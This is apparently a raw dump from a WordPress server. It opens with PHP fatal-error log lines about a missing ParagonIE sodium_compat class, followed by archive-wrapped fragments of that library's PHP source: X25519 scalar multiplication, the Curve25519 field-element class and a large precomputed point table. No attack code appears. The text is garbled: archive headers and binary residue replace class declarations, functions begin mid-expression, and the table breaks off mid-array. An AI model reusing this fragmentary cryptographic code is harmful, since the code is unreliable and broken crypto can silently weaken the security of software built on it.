line 10 [10-Sep-2026 13:56:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [10-Sep-2026 14:07:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 [10-Sep-2026 22:09:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10 PK!al src/Core/X25519.phpnu[e0 ^ $g->e0) & $b; $x1 = ($f->e1 ^ $g->e1) & $b; $x2 = ($f->e2 ^ $g->e2) & $b; $x3 = ($f->e3 ^ $g->e3) & $b; $x4 = ($f->e4 ^ $g->e4) & $b; $x5 = ($f->e5 ^ $g->e5) & $b; $x6 = ($f->e6 ^ $g->e6) & $b; $x7 = ($f->e7 ^ $g->e7) & $b; $x8 = ($f->e8 ^ $g->e8) & $b; $x9 = ($f->e9 ^ $g->e9) & $b; $f->e0 ^= $x0; $f->e1 ^= $x1; $f->e2 ^= $x2; $f->e3 ^= $x3; $f->e4 ^= $x4; $f->e5 ^= $x5; $f->e6 ^= $x6; $f->e7 ^= $x7; $f->e8 ^= $x8; $f->e9 ^= $x9; $g->e0 ^= $x0; $g->e1 ^= $x1; $g->e2 ^= $x2; $g->e3 ^= $x3; $g->e4 ^= $x4; $g->e5 ^= $x5; $g->e6 ^= $x6; $g->e7 ^= $x7; $g->e8 ^= $x8; $g->e9 ^= $x9; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_mul121666(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $h0 = self::mul($f->e0, 121666, 17); $h1 = self::mul($f->e1, 121666, 17); $h2 = self::mul($f->e2, 121666, 17); $h3 = self::mul($f->e3, 121666, 17); $h4 = self::mul($f->e4, 121666, 17); $h5 = self::mul($f->e5, 121666, 17); $h6 = self::mul($f->e6, 121666, 17); $h7 = self::mul($f->e7, 121666, 17); $h8 = self::mul($f->e8, 121666, 17); $h9 = self::mul($f->e9, 121666, 17); $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; return new ParagonIE_Sodium_Core_Curve25519_Fe($h0, $h1, $h2, $h3, $h4, $h5, $h6, $h7, $h8, $h9); } /** * @internal You should not use this directly from another application * * Inline comments preceded by # are from libsodium's ref10 code. * * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10($n, $p) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); # fe_frombytes(x1,p); $x1 = self::fe_frombytes($p); # fe_1(x2); $x2 = self::fe_1(); # fe_0(z2); $z2 = self::fe_0(); # fe_copy(x3,x1); $x3 = self::fe_copy($x1); # fe_1(z3); $z3 = self::fe_1(); # swap = 0; /** @var int $swap */ $swap = 0; # for (pos = 254;pos >= 0;--pos) { for ($pos = 254; $pos >= 0; --$pos) { # b = e[pos / 8] >> (pos & 7); /** @var int $b */ $b = self::chrToInt( $e[(int) floor($pos / 8)] ) >> ($pos & 7); # b &= 1; $b &= 1; # swap ^= b; $swap ^= $b; # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # swap = b; $swap = $b; # fe_sub(tmp0,x3,z3); $tmp0 = self::fe_sub($x3, $z3); # fe_sub(tmp1,x2,z2); $tmp1 = self::fe_sub($x2, $z2); # fe_add(x2,x2,z2); $x2 = self::fe_add($x2, $z2); # fe_add(z2,x3,z3); $z2 = self::fe_add($x3, $z3); # fe_mul(z3,tmp0,x2); $z3 = self::fe_mul($tmp0, $x2); # fe_mul(z2,z2,tmp1); $z2 = self::fe_mul($z2, $tmp1); # fe_sq(tmp0,tmp1); $tmp0 = self::fe_sq($tmp1); # fe_sq(tmp1,x2); $tmp1 = self::fe_sq($x2); # fe_add(x3,z3,z2); $x3 = self::fe_add($z3, $z2); # fe_sub(z2,z3,z2); $z2 = self::fe_sub($z3, $z2); # fe_mul(x2,tmp1,tmp0); $x2 = self::fe_mul($tmp1, $tmp0); # fe_sub(tmp1,tmp1,tmp0); $tmp1 = self::fe_sub($tmp1, $tmp0); # fe_sq(z2,z2); $z2 = self::fe_sq($z2); # fe_mul121666(z3,tmp1); $z3 = self::fe_mul121666($tmp1); # fe_sq(x3,x3); $x3 = self::fe_sq($x3); # fe_add(tmp0,tmp0,z3); $tmp0 = self::fe_add($tmp0, $z3); # fe_mul(z3,x1,z2); $z3 = self::fe_mul($x1, $z2); # fe_mul(z2,tmp1,tmp0); $z2 = self::fe_mul($tmp1, $tmp0); } # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # fe_invert(z2,z2); $z2 = self::fe_invert($z2); # fe_mul(x2,x2,z2); $x2 = self::fe_mul($x2, $z2); # fe_tobytes(q,x2); return self::fe_tobytes($x2); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function edwards_to_montgomery( ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY, ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ ) { $tempX = self::fe_add($edwardsZ, $edwardsY); $tempZ = self::fe_sub($edwardsZ, $edwardsY); $tempZ = self::fe_invert($tempZ); return self::fe_mul($tempX, $tempZ); } /** * @internal You should not use this directly from another application * * @param string $n * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10_base($n) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); $A = self::ge_scalarmult_base($e); if ( !($A->Y instanceof ParagonIE_Sodium_Core_Curve25519_Fe) || !($A->Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe) ) { throw new TypeError('Null points encountered'); } $pk = self::edwards_to_montgomery($A->Y, $A->Z); return self::fe_tobytes($pk); } } PK!bc7src/Core/Curve25519/Fe.phpnu[e0 = $e0; $this->e1 = $e1; $this->e2 = $e2; $this->e3 = $e3; $this->e4 = $e4; $this->e5 = $e5; $this->e6 = $e6; $this->e7 = $e7; $this->e8 = $e8; $this->e9 = $e9; } /** * @internal You should not use this directly from another application * * @param array $array * @return self */ public static function fromArray($array) { $obj = new ParagonIE_Sodium_Core_Curve25519_Fe(); $obj->e0 = isset($array[0]) ? (int) $array[0] : 0; $obj->e1 = isset($array[1]) ? (int) $array[1] : 0; $obj->e2 = isset($array[2]) ? (int) $array[2] : 0; $obj->e3 = isset($array[3]) ? (int) $array[3] : 0; $obj->e4 = isset($array[4]) ? (int) $array[4] : 0; $obj->e5 = isset($array[5]) ? (int) $array[5] : 0; $obj->e6 = isset($array[6]) ? (int) $array[6] : 0; $obj->e7 = isset($array[7]) ? (int) $array[7] : 0; $obj->e8 = isset($array[8]) ? (int) $array[8] : 0; $obj->e9 = isset($array[9]) ? (int) $array[9] : 0; return $obj; } /** * @internal You should not use this directly from another application * * @param int|null $offset * @param int $value * @return void */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if (!is_int($value)) { throw new InvalidArgumentException('Expected an integer'); } switch ($offset) { case 0: $this->e0 = $value; break; case 1: $this->e1 = $value; break; case 2: $this->e2 = $value; break; case 3: $this->e3 = $value; break; case 4: $this->e4 = $value; break; case 5: $this->e5 = $value; break; case 6: $this->e6 = $value; break; case 7: $this->e7 = $value; break; case 8: $this->e8 = $value; break; case 9: $this->e9 = $value; break; default: throw new OutOfBoundsException('Index out of bounds'); } } /** * @internal You should not use this directly from another application * * @param int $offset * @return bool */ #[ReturnTypeWillChange] public function offsetExists($offset) { return $offset >= 0 && $offset < 10; } /** * @internal You should not use this directly from another application * * @param int $offset * @return void */ #[ReturnTypeWillChange] public function offsetUnset($offset) { switch ($offset) { case 0: $this->e0 = 0; break; case 1: $this->e1 = 0; break; case 2: $this->e2 = 0; break; case 3: $this->e3 = 0; break; case 4: $this->e4 = 0; break; case 5: $this->e5 = 0; break; case 6: $this->e6 = 0; break; case 7: $this->e7 = 0; break; case 8: $this->e8 = 0; break; case 9: $this->e9 = 0; break; default: throw new OutOfBoundsException('Index out of bounds'); } } /** * @internal You should not use this directly from another application * * @param int $offset * @return int */ #[ReturnTypeWillChange] public function offsetGet($offset) { switch ($offset) { case 0: return (int) $this->e0; case 1: return (int) $this->e1; case 2: return (int) $this->e2; case 3: return (int) $this->e3; case 4: return (int) $this->e4; case 5: return (int) $this->e5; case 6: return (int) $this->e6; case 7: return (int) $this->e7; case 8: return (int) $this->e8; case 9: return (int) $this->e9; default: throw new OutOfBoundsException('Index out of bounds'); } } /** * @internal You should not use this directly from another application * * @return array */ public function __debugInfo() { return array( implode(', ', array( $this->e0, $this->e1, $this->e2, $this->e3, $this->e4, $this->e5, $this->e6, $this->e7, $this->e8, $this->e9 )) ); } } PK!}ڢTyysrc/Core/Curve25519/H.phpnu[>>> Basically, int[32][8][3][10] */ protected static $base = array( array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303), array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081), array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540), array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397), array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777), array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737), array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726), array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955), array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425), ), ), array( array( array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171), array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510), array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660), ), array( array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639), array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963), array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950), ), array( array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568), array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335), array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628), ), array( array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007), array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772), array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653), ), array( array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567), array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686), array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372), ), array( array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887), array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954), array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953), ), array( array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833), array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532), array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876), ), array( array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268), array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214), array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038), ), ), array( array( array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800), array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645), array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664), ), array( array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933), array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182), array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222), ), array( array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991), array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880), array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092), ), array( array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295), array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788), array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553), ), array( array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026), array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347), array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033), ), array( array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395), array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278), array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890), ), array( array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995), array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596), array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891), ), array( array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060), array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608), array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606), ), ), array( array( array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389), array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016), array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341), ), array( array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505), array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553), array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655), ), array( array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220), array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631), array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099), ), array( array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556), array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749), array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930), ), array( array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391), array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253), array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066), ), array( array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958), array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082), array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383), ), array( array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521), array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807), array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948), ), array( array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134), array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455), array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629), ), ), array( array( array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069), array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746), array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919), ), array( array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837), array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906), array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771), ), array( array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817), array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098), array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409), ), array( array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504), array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727), array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420), ), array( array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003), array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605), array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384), ), array( array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701), array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683), array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708), ), array( array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563), array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260), array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387), ), array( array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672), array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686), array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665), ), ), array( array( array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182), array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277), array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628), ), array( array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474), array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539), array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822), ), array( array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970), array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756), array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508), ), array( array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683), array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655), array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158), ), array( array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125), array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839), array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664), ), array( array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294), array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899), array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070), ), array( array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294), array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949), array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083), ), array( array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420), array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940), array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396), ), ), array( array( array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567), array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127), array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294), ), array( array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887), array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964), array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195), ), array( array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244), array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999), array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762), ), array( array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274), array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236), array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605), ), array( array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761), array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884), array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482), ), array( array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638), array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490), array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170), ), array( array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736), array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124), array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392), ), array( array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029), array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048), array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958), ), ), array( array( array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593), array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071), array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692), ), array( array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687), array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441), array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001), ), array( array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460), array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007), array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762), ), array( array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005), array(-9442290, 6624296, 